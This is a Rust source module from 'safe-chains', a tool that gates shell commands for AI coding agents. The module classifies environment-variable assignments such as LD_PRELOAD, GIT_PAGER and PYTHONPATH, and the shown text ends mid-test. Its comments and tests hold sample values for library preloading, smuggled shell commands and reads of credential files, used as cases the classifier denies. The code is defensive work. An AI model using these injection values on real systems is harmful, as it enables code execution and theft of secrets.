safe-chains 0.243.6

Auto-allow safe bash commands in agentic coding tools
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
//! Classifying the `VAR=value` assignments that precede a command.
//!
//! `VAR=value cmd` is not `cmd`. An assignment can make the process run different code, load code
//! from a different place, or reach a different system, without changing the command name the rest
//! of the classifier looks at. `envvars.toml` is the researched list of variables where that is
//! true; this module classifies their values.
//!
//! # Only the listed names are inspected
//!
//! An unlisted assignment is ignored exactly as before, and an absent assignment changes nothing.
//! This adds no denials outside the table. That is the property that makes the list safe to grow one
//! entry at a time, and it is why the earlier "an undeclared name denies" design was abandoned — the
//! set of harmless variables is unbounded (any program may read any name), so an allowlist over it
//! could never be completed.
//!
//! # The value is judged by rules that already exist
//!
//! Nothing here decides whether a name is dangerous in the abstract. `GIT_PAGER=cat` passes because
//! `cat` passes; `GIT_PAGER='sh -c evil'` denies because that command denies. `GIT_DIR=/tmp/evil`
//! denies because `/tmp` is out-of-worktree under the ordinary locus rules. The table only says
//! WHICH rule to apply.
//!
//! See `docs/design/env-prefix-classification.md` for the measurements behind each entry.

use std::collections::HashMap;
use std::sync::LazyLock;

use serde::Deserialize;

use crate::verdict::{SafetyLevel, Verdict};

mod command_search;
pub(crate) use command_search::names_command_search;
mod config_dir;
mod exported;
mod option_string;
pub(crate) use exported::exported_verdict;
mod rebind;
use option_string::option_string_verdict;
mod shell_words;
pub(crate) use rebind::{loop_var_verdict, rebinding_verdict};

#[derive(Deserialize, Debug, Clone, Copy, PartialEq, Eq)]
#[serde(rename_all = "kebab-case")]
pub(crate) enum Shape {
    /// The value is a command line — recursed through `command_verdict`, the same way `sudo X`
    /// classifies its inner command.
    Command,
    /// The value names a path SUPPLYING CODE — gated at the executor locus, as cargo's
    /// `--manifest-path` is. Deliberately not the read rule: reading `/tmp/x.so` is fine, while
    /// loading it into the process is not.
    ExecPath,
    /// The value names a path read or written as data — ordinary locus rules.
    DataPath,
    /// The value names a file the process WRITES (a trace or log) — the write locus, so a path
    /// outside the project or into a trusted directory is refused.
    DataWrite,
    /// The variable's effect CANNOT be certified from its own value, because the meaning depends on
    /// another assignment. `GIT_CONFIG_VALUE_0` is a command when `GIT_CONFIG_KEY_0` is
    /// `core.pager` and inert when it is `user.name`; nothing in this per-assignment model can see
    /// the pair. Presence denies (§0 fail-closed), which is also what the FLAG spelling does —
    /// `git -c user.name=x log` already denies because that key is not on git's permitted list.
    Opaque,
    /// The value is a FLAG STRING for an interpreter (`RUBYOPT`, `NODE_OPTIONS`, `RUSTFLAGS`).
    /// Every token must match a researched-inert prefix in the entry's `allowed` list; anything
    /// else denies. Allowlist-shaped, and bounded because each interpreter's accepted set is small
    /// and documented — ruby and perl even refuse `-e` themselves, so the eval vector is already
    /// closed upstream.
    OptionString,
    ConfigDir,
    ConfigFile,
    /// The value names a rustup toolchain, as `cargo +name` does. A path selects a toolchain
    /// directory whose binaries then run, so only the name shape the `+name` selector admits passes.
    ToolchainName,
    /// The value names the shell a program starts (`SHELL`). Allowed only as one of the shells,
    /// named in full in a standard system bin directory.
    ShellProgram,
    /// The value is the remote shell rsync starts (`RSYNC_RSH`). Allowed only as ssh or rsh with
    /// plain options, the same rule as rsync's `-e`.
    RemoteShell,
    CommandSearch,
    /// The value is pasted into a shell command line a program evaluates (`LANG` and `MANPATH` for
    /// macOS man). Refused when it holds a character the shell would act on there.
    ShellText,
}

/// The role a path-flag's value plays, spelled as [`crate::pathgate::Role`] spells it: read is
/// gated by the read locus, write by the write locus, exec by the executor locus.
///
/// NOT `registry::types::PathRole`, which this comment used to name — that enum has only
/// `Read`/`Write`, so the claim sent a reader looking for an `Exec` variant that is not there. The
/// three-role enum `[command.path_gate]` deserializes into is `pathgate::Role`.
#[derive(Deserialize, Debug, Clone, Copy, PartialEq, Eq)]
#[serde(rename_all = "kebab-case")]
pub(crate) enum PathRole {
    Read,
    Write,
    /// The value supplies CODE — gated at the executor locus, exactly as the `exec-path` shape is,
    /// so `-cp ./lib` and `CLASSPATH=./lib` give the same answer.
    Exec,
}

/// How a flag is joined to its value. Measured per flag, because a tool generally accepts only one
/// spelling each: `--module-path=<path>` takes equals and rejects a space, `-cp <path>` the reverse.
///
/// Colon-joined flags (`-Xbootclasspath/a:<path>`) exist but no entry declares one, so that variant
/// is deliberately absent rather than written ahead of a use — an unexercised branch in a classifier
/// is a branch nothing has ever checked. Adding a colon flag means adding the variant with it.
#[derive(Deserialize, Debug, Clone, Copy, PartialEq, Eq, Default)]
#[serde(rename_all = "kebab-case")]
enum Sep {
    #[default]
    Equals,
    Space,
}

/// An option-string flag whose VALUE is a path, gated by locus instead of being refused outright.
/// The analogue of `[[command.sub.flag]]`'s `path_flags` for a flag that lives inside an environment
/// variable's option string rather than on the command line.
#[derive(Deserialize, Debug, Clone, PartialEq, Eq)]
#[serde(deny_unknown_fields)]
struct PathFlagEntry {
    flag: String,
    role: PathRole,
    #[serde(default)]
    sep: Sep,
}

// `deny_unknown_fields` as `registry::types` does it: a typo'd key must fail at parse time, not be
// silently dropped. Every typo available today happens to fail CLOSED (a missing `allowed` denies
// everything, a missing `path_flags` denies the flag), but that is luck rather than design — a
// future field that RESTRICTS would fail open under the same silence.
#[derive(Deserialize, Debug)]
#[serde(deny_unknown_fields)]
struct Entry {
    shape: Shape,
    /// For `option-string`: token prefixes that are inert. A token matching none of these denies.
    #[serde(default)]
    allowed: Vec<String>,
    /// For `option-string`: flags whose `=value` is a PATH, judged by the ordinary locus rules.
    #[serde(default)]
    path_flags: Vec<PathFlagEntry>,
    #[allow(dead_code)] // authored rationale, carried for the docs and for review
    because: String,
    #[allow(dead_code)] // false = enumerated from docs, not probed on a live toolchain
    #[serde(default)]
    measured: Option<bool>,
    /// The FLAG spelling of the same thing, as an invocation template with `{v}` for the value —
    /// e.g. `rsync -e {v} ./src/ ./dst/` for `RSYNC_RSH`.
    ///
    /// Gating one spelling and not the other is not a partial fix: the ungated spelling is a
    /// complete bypass, and the gated one reads as closed while it is not. Every executor flag
    /// gated in the registry was bypassable through its env twin until these were paired.
    /// This variable holds ONE value, not a colon-separated list — a command like `BORG_RSH`,
    /// not a search path like `PYTHONPATH`. Splitting such a value makes the env gate disagree
    /// with the flag gate that judges the very same string. Opt-OUT because the reverse mistake
    /// (a real list judged whole) is a fail-open.
    #[serde(default)]
    single_value: bool,
    #[allow(dead_code)] // read by the twin-pairing guard (cfg(test))
    #[serde(default)]
    twin_flag: Option<String>,
    /// The command the variable prefixes, for building the env spelling of the same invocation —
    /// e.g. `rsync ./src/ ./dst/`. Required with `twin_flag`.
    #[allow(dead_code)] // read by the twin-pairing guard (cfg(test))
    #[serde(default)]
    twin_base: Option<String>,
    /// The build crates (`cc`, `pkg-config`, `cmake`) look the name up under four more spellings
    /// first: `NAME_<target>`, `NAME_<target_with_underscores>`, then `HOST_NAME` or `TARGET_NAME`.
    /// Each gets this entry's rule, except a `NAME_<target>` form a catch-all pattern already owns
    /// (`LD_*`). That pattern refuses every value, and a second glob with the same prefix would
    /// disagree with it. `HOST_NAME` and `TARGET_NAME` are exact names and still take the rule.
    #[serde(default)]
    target_spellings: bool,
    /// `judged` when the program acts on the variable being set at all, so an empty value is judged
    /// like any other: git turns certificate checks off for `GIT_SSL_NO_VERIFY=` as for
    /// `GIT_SSL_NO_VERIFY=1`.
    #[serde(default)]
    empty: Empty,
}

#[derive(Deserialize, Debug, Clone, Copy, PartialEq, Eq, Default)]
#[serde(rename_all = "kebab-case")]
enum Empty {
    #[default]
    Inert,
    Judged,
}

/// Declared (env-name, flag-template, base-command) triples, for the pairing guard. Re-parses the
/// embedded TOML because the compiled table keeps only what classification needs.
#[cfg(test)]
pub(crate) fn declared_twins() -> Vec<(String, String, String)> {
    let parsed: Table = toml::from_str(include_str!("../envvars.toml")).expect("embedded envvars.toml must parse");
    let mut out: Vec<(String, String, String)> =
        parsed.env.into_iter().filter_map(|(name, e)| Some((name, e.twin_flag?, e.twin_base?))).collect();
    out.sort();
    out
}

#[derive(Deserialize, Debug)]
struct Table {
    env: HashMap<String, Entry>,
}

#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) struct Rule {
    pub(crate) shape: Shape,
    pub(crate) single_value: bool,
    allowed: Vec<String>,
    path_flags: Vec<PathFlagEntry>,
    presence: bool,
}

struct Compiled {
    exact: HashMap<String, Rule>,
    /// `(prefix, suffix, shape)` from a name containing a single `*`. Needed because some variables
    /// carry a variable segment: cargo spells its per-target keys `CARGO_TARGET_<TRIPLE>_RUNNER`,
    /// and git numbers its config pairs `GIT_CONFIG_KEY_0`, `_1`, …
    globs: Vec<(String, String, Rule)>,
}

const NPM_CONFIG: &str = "npm_config_";

static TABLE: LazyLock<Compiled> = LazyLock::new(|| {
    let src = include_str!("../envvars.toml");
    let parsed: Table = toml::from_str(src).expect("embedded envvars.toml must parse");
    let mut exact = HashMap::new();
    let mut globs = Vec::new();
    let mut spelled = Vec::new();
    for (name, entry) in parsed.env {
        let rule = Rule {
            shape: entry.shape,
            single_value: entry.single_value,
            allowed: entry.allowed,
            path_flags: entry.path_flags,
            presence: entry.empty == Empty::Judged,
        };
        match name.split_once('*') {
            Some((pre, suf)) => {
                assert!(!suf.contains('*'), "envvars.toml: `{name}` has more than one `*`");
                assert!(!entry.target_spellings, "envvars.toml: `{name}` is a pattern and cannot take target_spellings");
                globs.push((pre.to_string(), suf.to_string(), rule));
            }
            None => {
                if entry.target_spellings {
                    spelled.push((name.clone(), rule.clone()));
                }
                exact.insert(name, rule);
            }
        }
    }
    for (name, rule) in spelled {
        for kind in ["HOST", "TARGET"] {
            let alias = format!("{kind}_{name}");
            assert!(!exact.contains_key(&alias), "envvars.toml: `{alias}` is listed and also spelled from `{name}`");
            exact.insert(alias, rule.clone());
        }
        // A catch-all with this prefix and an empty suffix already owns `NAME_<target>` (`LD_*`).
        // A second glob would disagree with it, and winning would judge `LD_DEBUG` as a linker path.
        let prefix = format!("{name}_");
        let owned = globs.iter().any(|(pre, suf, _)| pre == &prefix && suf.is_empty());
        if !owned {
            globs.push((prefix, String::new(), rule));
        }
    }
    Compiled { exact, globs }
});

fn rule_of(name: &str) -> Option<&'static Rule> {
    if let Some(r) = TABLE.exact.get(name) {
        return Some(r);
    }
    // npm matches `npm_config_` in any letter case and reads the rest as a lowercase key in which `_` and `-` are the same.
    if name.get(..NPM_CONFIG.len()).is_some_and(|p| p.eq_ignore_ascii_case(NPM_CONFIG)) {
        return TABLE.exact.get(&name.to_ascii_lowercase().replace('-', "_"));
    }
    TABLE.globs.iter().find_map(|(pre, suf, rule)| {
        // `len()` guard so a single `*` cannot match the empty middle twice over — `A_*_B` must not
        // match `A__B` by letting prefix and suffix overlap.
        (name.len() >= pre.len() + suf.len() && name.starts_with(pre.as_str()) && name.ends_with(suf.as_str())).then_some(rule)
    })
}

/// The shape of a listed variable's value, or `None` for a name we do not inspect.
pub(crate) fn shape_of(name: &str) -> Option<Shape> {
    rule_of(name).map(|r| r.shape)
}

/// The verdict for an assignment that may outlive one command: a bare `NAME=value` statement or
/// `export`/`declare` (`lasting`), or a prefix to one command. `RIPGREP_CONFIG_PATH` can make rg
/// follow links, which is judged only for the command it prefixes, so a lasting one is refused.
pub(crate) fn statement_assignment_verdict(name: &str, value: &str, lasting: bool) -> Verdict {
    if lasting && name.strip_suffix('+').unwrap_or(name) == crate::pathctx::RIPGREP_CONFIG_PATH && !value.is_empty() {
        return Verdict::Denied;
    }
    assignment_verdict(name, value)
}

/// The verdict for one `NAME=value` assignment. `Inert` for any name not in the table — the
/// overwhelmingly common case, and the reason this costs nothing for ordinary commands.
pub(crate) fn assignment_verdict(name: &str, value: &str) -> Verdict {
    // `NAME+=VALUE` is bash's APPEND assignment: it sets NAME, not a variable called `NAME+`. A
    // POSIX variable name cannot contain `+`, so a trailing one can only have come from that
    // operator. Normalised here rather than at each call site, so every spelling inherits it —
    // `export LD_PRELOAD+=/tmp/evil.so` and `declare -x LD_PRELOAD+=…` both appended to the real
    // LD_PRELOAD while classifying as the unlisted name `LD_PRELOAD+`, and auto-approved.
    let (name, appends) = name.strip_suffix('+').map_or((name, false), |n| (n, true));
    let Some(rule) = rule_of(name) else {
        return Verdict::Allowed(SafetyLevel::Inert);
    };
    // An EMPTY value un-sets the behaviour rather than pointing it anywhere: `GIT_PAGER=` disables
    // the pager, `LD_PRELOAD=` preloads nothing. Denying that would be a false positive on the one
    // spelling that is unambiguously inert.
    if value.is_empty() && !rule.presence && rule.shape != Shape::CommandSearch {
        return Verdict::Allowed(SafetyLevel::Inert);
    }
    match rule.shape {
        Shape::Command => crate::command_verdict(value),
        Shape::ExecPath => exec_path_verdict(value, !rule.single_value),
        Shape::DataPath => data_path_verdict(value, !rule.single_value),
        Shape::DataWrite => worst_element(value, crate::engine::resolve::write_target_verdict, !rule.single_value),
        Shape::Opaque => Verdict::Denied,
        Shape::OptionString => option_string_verdict(value, &rule.allowed, &rule.path_flags),
        Shape::ConfigDir => worst_element(value, config_dir::config_dir_verdict, !rule.single_value),
        Shape::ConfigFile => worst_element(value, config_dir::config_file_verdict, !rule.single_value),
        Shape::ShellProgram => shell_words::shell_program_verdict(value),
        Shape::RemoteShell => crate::handlers::coreutils::rsync_shell::remote_shell_verdict(value),
        Shape::CommandSearch => command_search::command_search_verdict(name, appends, value),
        Shape::ShellText => shell_words::shell_text_verdict(value),
        Shape::ToolchainName => {
            if is_toolchain_name(value) {
                Verdict::Allowed(SafetyLevel::Inert)
            } else {
                Verdict::Denied
            }
        }
    }
}

pub(crate) fn is_toolchain_name(name: &str) -> bool {
    !name.is_empty()
        && name.starts_with(|c: char| c.is_ascii_alphanumeric())
        && name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
}

/// A path supplying CODE, judged at the EXECUTOR locus — the rule cargo's `--manifest-path` uses.
/// Code from the worktree is the project's own and already trusted; code from `/tmp`, `$HOME` or a
/// system path is foreign and denies.
///
/// Deliberately NOT the read rule. `cat /tmp/x.so` is a perfectly ordinary read, so a read-locus
/// test would admit `LD_PRELOAD=/tmp/x.so`. Loading that file into the process is a different act
/// from reading it.
///
/// A colon-separated list is judged by its WORST element: one attacker-controlled entry is enough,
/// because the loader searches all of them.
fn exec_path_verdict(value: &str, split_list: bool) -> Verdict {
    // `execute_file_verdict` IS the executor-locus rule — the same function pathgate's `exec` role
    // uses for `cargo --manifest-path`. Reused rather than re-derived: an earlier cut compared
    // `classify_locus(p) <= Worktree` and admitted `/tmp`, because the locus ladder orders by the
    // blast radius of a WRITE (`temp` sits below `worktree`) and not by trust for EXECUTION.
    worst_element(value, crate::engine::resolve::execute_file_verdict, split_list)
}

/// A path read or written as DATA — the ordinary read locus, which already refuses credential and
/// system paths while allowing the worktree.
fn data_path_verdict(value: &str, split_list: bool) -> Verdict {
    worst_element(value, crate::engine::resolve::read_content_verdict, split_list)
}

/// Delegates to the ONE shared rule so the environment gate and the flag gate cannot drift apart
/// again — they had separate copies and disagreed on `x:/tmp/evil`.
fn worst_element(value: &str, judge: fn(&str) -> Verdict, split_list: bool) -> Verdict {
    crate::engine::resolve::worst_path_element(value, judge, split_list)
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn the_table_parses_and_covers_the_measured_vectors() {
        for name in [
            "LD_PRELOAD", "DYLD_INSERT_LIBRARIES", "BASH_ENV", "PYTHONPATH", "PHPRC", "PHP_INI_SCAN_DIR", "RUSTC_WRAPPER",
            "GIT_SSH_COMMAND", "GIT_DIR", "DOTNET_STARTUP_HOOKS", "PERL5LIB", "RUBYLIB", "CLASSPATH", "JAVA_TOOL_OPTIONS", "_JAVA_OPTIONS",
            "JDK_JAVA_OPTIONS", "GOFLAGS", "LUA_INIT", "JULIA_LOAD_PATH", "JULIA_DEPOT_PATH", "R_PROFILE_USER",
        ] {
            assert!(shape_of(name).is_some(), "envvars.toml is missing a measured vector: {name}");
        }
    }

    /// The shared list rule: split only when asked, and never split a URL.
    #[test]
    fn worst_path_element_splits_only_a_list_and_never_a_url() {
        use crate::engine::resolve::{execute_file_verdict, worst_path_element};

        // As a LIST, an out-of-workspace element condemns the whole value.
        assert!(!worst_path_element("./ok:/tmp/evil", execute_file_verdict, true).is_allowed());
        assert!(!worst_path_element("/tmp/evil:./ok", execute_file_verdict, true).is_allowed());
        assert!(worst_path_element("./a:./b", execute_file_verdict, true).is_allowed());

        // As a SINGLE value the same string is one filename, judged whole. This is what lets the
        // env spelling agree with the flag spelling, which judges it the same way.
        assert!(worst_path_element("x:/tmp/evil", execute_file_verdict, false).is_allowed());
        assert!(!worst_path_element("x:/tmp/evil", execute_file_verdict, true).is_allowed());

        // A URL is never a path list. Splitting `https://example.com` into `https` and
        // `//example.com` denied every curl invocation in the suite.
        for url in ["https://example.com", "http://a.b/c", "ssh://host/path"] {
            assert!(
                worst_path_element(url, execute_file_verdict, true).is_allowed()
                    == worst_path_element(url, execute_file_verdict, false).is_allowed(),
                "splitting changed the verdict for a URL: {url}"
            );
        }

        // Splitting can only ever be STRICTER, never looser — the property that makes it the safe
        // default for anything not explicitly marked single-valued.
        for v in ["./a", "/tmp/x", "a:b", ":/:", "./ok:/etc/shadow", "x", "/", ".."] {
            let split = worst_path_element(v, execute_file_verdict, true).is_allowed();
            let whole = worst_path_element(v, execute_file_verdict, false).is_allowed();
            assert!(!split || whole, "splitting was LOOSER than judging whole for {v:?}");
        }
    }

    /// A variable declared `single_value` must not be split, and one that is not must be.
    ///
    /// The direction matters and is not symmetric: a real LIST judged whole is a fail-open
    /// (`PYTHONPATH=/tmp/evil:/ok` matches no locus rule as one string), while a single value
    /// split is merely stricter. So splitting is the default and `single_value` is the exception.
    #[test]
    fn list_variables_still_split_and_single_value_ones_do_not() {
        for listy in ["PYTHONPATH", "CLASSPATH", "PERL5LIB", "RUBYLIB", "NODE_PATH"] {
            assert!(
                !assignment_verdict(listy, "/tmp/evil:./ok").is_allowed(),
                "{listy} stopped splitting; an out-of-workspace element now rides in behind a prefix"
            );
        }
        for single in ["BORG_RSH", "RSYNC_RSH", "RESTIC_PASSWORD_COMMAND", "BORG_REMOTE_PATH", "RUSTFMT", "DEVELOPER_DIR", "TOOLCHAINS"] {
            assert!(!assignment_verdict(single, "/tmp/evil").is_allowed(), "{single} must still refuse a foreign executor");
            assert!(assignment_verdict(single, "ssh").is_allowed(), "{single} must still accept a bare name on $PATH");
        }
    }

    /// A variable tagged with its FLAG twin must classify the same as that flag, value for value.
    ///
    /// Gating one spelling and leaving the other open is not a partial fix — the open spelling is a
    /// complete bypass, and the closed one reads as done while it is not. Every executor flag gated
    /// in the registry was reachable through its environment twin until these were paired:
    /// `borg --rsh /tmp/evil` denied while `BORG_RSH=/tmp/evil borg` sailed through.
    ///
    /// Checks EQUALITY rather than "both deny", so it fails in both directions: an env twin that
    /// stays open, and a flag that over-denies a value its twin accepts. The corpus spans a foreign
    /// path, a workspace path and a bare name, and the pair must discriminate between them — a
    /// tag whose two sides agree only by refusing everything proves nothing.
    #[test]
    fn a_tagged_env_var_classifies_the_same_as_its_flag_twin() {
        let twins = super::declared_twins();
        assert!(!twins.is_empty(), "no env/flag twins are declared; the guard would be vacuous");

        let mut failures = Vec::new();
        for (name, flag_tmpl, base) in &twins {
            let mut verdicts = Vec::new();
            // Widened after the metamorphic fuzz target found a disagreement on `:/:` that the
            // original three values missed. Three values was never a proof; these span the shapes
            // that actually distinguish the two gates - colons, traversal, roots, bare names.
            for value in [
                "/tmp/evil", "./bin/tool", "ssh", ":/:", "x:/tmp/evil", "a:b", "..", "/", "./a:./b", "~/.ssh/id_rsa", ".", "/etc/shadow",
                "sub/dir/tool",
                // Command LINES. Every value above is a single token, so the corpus could not see
                // the case where one gate treats the value as a path and the other as a command:
                // `--rsh 'sh -c evil'` was auto-approved (the pathgate pre-filter skipped it as
                // "not path-shaped") while `BORG_RSH='sh -c evil'` denied. The nightly fuzz found
                // only a lookalike symptom (`fiLe:~`) because its transform excludes whitespace,
                // so this shape has to be carried here.
                "sh -c evil", "ssh -p 2222", "/bin/sh -c x",
            ] {
                // Multi-word values are quoted so both spellings still see ONE value; unquoted,
                // the extra words would become separate arguments and the two forms would stop
                // denoting the same operation.
                let quoted = if value.contains(char::is_whitespace) { format!("'{value}'") } else { value.to_string() };
                let flag_form = flag_tmpl.replace("{v}", &quoted);
